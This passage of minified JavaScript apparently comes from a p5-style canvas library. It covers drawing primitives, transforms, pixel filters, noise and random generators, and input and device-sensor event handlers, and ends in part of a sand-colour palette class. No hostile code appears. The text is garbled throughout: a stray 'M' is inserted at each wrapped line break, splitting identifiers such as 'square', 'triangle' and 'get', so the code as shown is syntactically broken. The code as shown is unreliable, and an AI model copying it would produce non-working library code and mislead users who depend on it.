de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
